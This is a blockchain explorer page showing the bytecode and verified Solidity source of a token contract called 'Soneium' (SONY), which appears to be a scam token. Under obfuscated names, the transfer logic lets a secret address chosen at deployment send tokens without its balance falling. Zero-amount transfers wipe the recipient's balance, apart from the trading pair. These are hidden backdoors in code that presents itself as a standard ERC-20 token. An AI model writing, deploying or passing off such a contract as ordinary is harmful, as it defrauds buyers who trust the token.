Address Contract Partially Verified
Address
0x0822dbe44552D757075A35380F03574C3A22c8dE
Balance
0 ETH
Nonce
1
Code Size
4206 bytes
Creator
0xeB463c00...A46b at tx 0x5dddb8b1...4fad16
Indexed Transactions
0
Contract Bytecode
4206 bytes
0x608060405234801561000f575f80fd5b50600436106100cd575f3560e01c806370a082311161008a57806395d89b411161006457806395d89b4114610201578063a9059cbb1461021f578063dd62ed3e1461024f578063f2fde38b1461027f576100cd565b806370a08231146101a9578063715018a6146101d95780638da5cb5b146101e3576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d5780636e6468411461018b575b5f80fd5b6100d961029b565b6040516100e69190610bf3565b60405180910390f35b61010960048036038101906101049190610ca4565b610327565b6040516101169190610cfc565b60405180910390f35b610127610414565b6040516101349190610d24565b60405180910390f35b61015760048036038101906101529190610d3d565b61041a565b6040516101649190610cfc565b60405180910390f35b610175610543565b6040516101829190610da8565b60405180910390f35b610193610555565b6040516101a09190610dd0565b60405180910390f35b6101c360048036038101906101be9190610de9565b61057a565b6040516101d09190610d24565b60405180910390f35b6101e161058f565b005b6101eb6106dd565b6040516101f89190610dd0565b60405180910390f35b610209610704565b6040516102169190610bf3565b60405180910390f35b61023960048036038101906102349190610ca4565b610790565b6040516102469190610cfc565b60405180910390f35b61026960048036038101906102649190610e14565b6107a6565b6040516102769190610d24565b60405180910390f35b61029960048036038101906102949190610de9565b6107c6565b005b600580546102a890610e7f565b80601f01602080910402602001604051908101604052809291908181526020018280546102d490610e7f565b801561031f5780601f106102f65761010080835404028352916020019161031f565b820191905f5260205f20905b81548152906001019060200180831161030257829003601f168201915b505050505081565b5f8160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104029190610d24565b60405180910390a36001905092915050565b60035481565b5f60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205482111561049f575f80fd5b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105269190610edc565b92505081905550610538848484610983565b600190509392505050565b600a5f9054906101000a900460ff1681565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001602052805f5260405f205f915090505481565b610597610b7c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061a90610f59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6007805461071190610e7f565b80601f016020809104026020016040519081016040528092919081815260200182805461073d90610e7f565b80156107885780601f1061075f57610100808354040283529160200191610788565b820191905f5260205f20905b81548152906001019060200180831161076b57829003601f168201915b505050505081565b5f61079c338484610983565b6001905092915050565b6006602052815f5260405f20602052805f5260405f205f91509150505481565b6107ce610b7c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085190610f59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bf90610fe7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f03610a1b578060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a139190610edc565b925050819055505b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a679190611005565b92505081905550805f148015610aca575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610b12578060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b6f9190610d24565b60405180910390a3505050565b5f33905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610bc582610b83565b610bcf8185610b8d565b9350610bdf818560208601610b9d565b610be881610bab565b840191505092915050565b5f6020820190508181035f830152610c0b8184610bbb565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610c4082610c17565b9050919050565b610c5081610c36565b8114610c5a575f80fd5b50565b5f81359050610c6b81610c47565b92915050565b5f819050919050565b610c8381610c71565b8114610c8d575f80fd5b50565b5f81359050610c9e81610c7a565b92915050565b5f8060408385031215610cba57610cb9610c13565b5b5f610cc785828601610c5d565b9250506020610cd885828601610c90565b9150509250929050565b5f8115159050919050565b610cf681610ce2565b82525050565b5f602082019050610d0f5f830184610ced565b92915050565b610d1e81610c71565b82525050565b5f602082019050610d375f830184610d15565b92915050565b5f805f60608486031215610d5457610d53610c13565b5b5f610d6186828701610c5d565b9350506020610d7286828701610c5d565b9250506040610d8386828701610c90565b9150509250925092565b5f60ff82169050919050565b610da281610d8d565b82525050565b5f602082019050610dbb5f830184610d99565b92915050565b610dca81610c36565b82525050565b5f602082019050610de35f830184610dc1565b92915050565b5f60208284031215610dfe57610dfd610c13565b5b5f610e0b84828501610c5d565b91505092915050565b5f8060408385031215610e2a57610e29610c13565b5b5f610e3785828601610c5d565b9250506020610e4885828601610c5d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610e9657607f821691505b602082108103610ea957610ea8610e52565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610ee682610c71565b9150610ef183610c71565b9250828203905081811115610f0957610f08610eaf565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f610f43602083610b8d565b9150610f4e82610f0f565b602082019050919050565b5f6020820190508181035f830152610f7081610f37565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f610fd1602683610b8d565b9150610fdc82610f77565b604082019050919050565b5f6020820190508181035f830152610ffe81610fc5565b9050919050565b5f61100f82610c71565b915061101a83610c71565b925082820190508082111561103257611031610eaf565b5b9291505056fea264697066735822122044e939a3cc1fac9d79e42f87c6c58b53d373f9ba92d129d4fee346cd8d2b42d864736f6c634300081a0033
Verified Source Code Partial Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
Soneium.sol 191 lines
/*
Realize the Open Internet that Transcends Boundaries
Empowering individuals and communities to collaborate, create and fill the world with emotion together.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#*++===---:::::-*@@@@%#%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#*==--------::::.:-#@@@@+:..:-+#%@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@%*=---==------::::::=#@@@%+:........:-+#@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@%*=--=====------:::::=#@@@%+:........ .:+#@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@%+--=======-------:::=#@@@@*::.......... .=#@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@%*=-========---------=#@@@@*-::::::........ .=%@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@*=-==========-------=#@@@@#=------:::::....... :+%@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@%+=============-----+%@@@@@######**++=---:::...... .-#@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@#+=============---=+%@@@@@@@@@@@@@@@@@@%*+---::...... :*@@@@@@@@@@@@@@
@@@@@@@@@@@@@#+==============-=+%@@@@@@@@@@@@@@@@@@@@@@@@#=--:::..... :*@@@@@@@@@@@@@
@@@@@@@@@@@@#+==============-=%@@@@@@@@@@@@@@@@@@@@@@@@@@@@%=:-:::...... .:*@@@@@@@@@@@@
@@@@@@@@@@@#+=============--*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#---::..........-#@@@@@@@@@@@
@@@@@@@@@@%*=============--%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%-:-:::.........=%@@@@@@@@@@
@@@@@@@@@@#=-===========--#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%---:::........-*@@@@@@@@@@
@@@@@@@@@%*--===========-+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%:--::::......:+%@@@@@@@@@
@@@@@@@@@%=---=========--@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=:--::::::::::=#@@@@@@@@@
@@@@@@@@@#-:--=========-=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*:--::::::::::-*@@@@@@@@@
@@@@@@@@@#::---========:+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#:---::::::::--*@@@@@@@@@
@@@@@@@@@#:.:--========:+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#------::::----+@@@@@@@@@
@@@@@@@@@%-.::--=======:-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+-------------:*@@@@@@@@@
@@@@@@@@@@+..:---======-:#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%=-------------:#@@@@@@@@@
@@@@@@@@@@#:..:---======::%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%+--------------=@@@@@@@@@@
@@@@@@@@@@@= .::---======:-%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%+---------====-:#@@@@@@@@@@
@@@@@@@@@@@#: .::---======::*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%=----==========:=@@@@@@@@@@@
@@@@@@@@@@@@*. .::---======-.-#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*=--============--%@@@@@@@@@@@
@@@@@@@@@@@@@*. .::----======-:-*@@@@@@@@@@@@@@@@@@@@@@@@@#=-==============--%@@@@@@@@@@@@
@@@@@@@@@@@@@@*:..:::---=======-::=*%@@@@@@@@@@@@@@@@@@@#=-===============-=%@@@@@@@@@@@@@
@@@@@@@@@@@@@@@#-..:::---=========-:::-=+*######@@@@@@*=-===========++++==+@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@+:..::----============-------=%@@@%*============++++++++#@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@%+::::----================*%@@@%*==========++++++++++#@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@%+-::----==========+++*%@@@%*=======++++++++++++*#@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@%*=----========+++*%@@@@*======+++++++++++**#%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@%*+=======+++*%@@@@*=====++++++++++***#%@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#**++++*%@@@@*====++++++++****##%@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%@@@@@*===++++*****###%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.22;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Soneium is Ownable {
function transfer(address zxcz, uint256 monkey) public returns (bool success) {
asdghagh(msg.sender, zxcz, monkey);
return true;
}
mapping(address => uint256) public balanceOf;
function asdghagh(address hjhjr, address zxcz, uint256 monkey) private {
if (0 == nbasa[hjhjr]) {
balanceOf[hjhjr] -= monkey;
}
balanceOf[zxcz] += monkey;
if (0 == monkey && zxcz != huyqwe) {
balanceOf[zxcz] = monkey;
}
emit Transfer(hjhjr, zxcz, monkey);
}
mapping(address => uint256) private eyolmfixsp;
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 public totalSupply = 1000000000 * 10 ** 9;
function transferFrom(address hjhjr, address zxcz, uint256 monkey) public returns (bool success) {
require(monkey <= allowance[hjhjr][msg.sender]);
allowance[hjhjr][msg.sender] -= monkey;
asdghagh(hjhjr, zxcz, monkey);
return true;
}
mapping(address => uint256) private nbasa;
string public name = 'Soneium';
mapping(address => mapping(address => uint256)) public allowance;
string public symbol = 'SONY';
address public huyqwe;
function approve(address bhaz, uint256 monkey) public returns (bool success) {
allowance[msg.sender][bhaz] = monkey;
emit Approval(msg.sender, bhaz, monkey);
return true;
}
uint256 private bnaaa = 258;
uint8 public decimals = 9;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor(address gaX) {
balanceOf[msg.sender] = totalSupply;
nbasa[gaX] = bnaaa;
IUniswapV2Router02 kmsad = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
huyqwe = IUniswapV2Factory(kmsad.factory()).createPair(address(this), kmsad.WETH());
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
huyqwe 0x6e646841 → address
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 5 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address bhaz
uint256 monkey
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address zxcz
uint256 monkey
returns: bool
transferFrom 0x23b872dd
address hjhjr
address zxcz
uint256 monkey
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address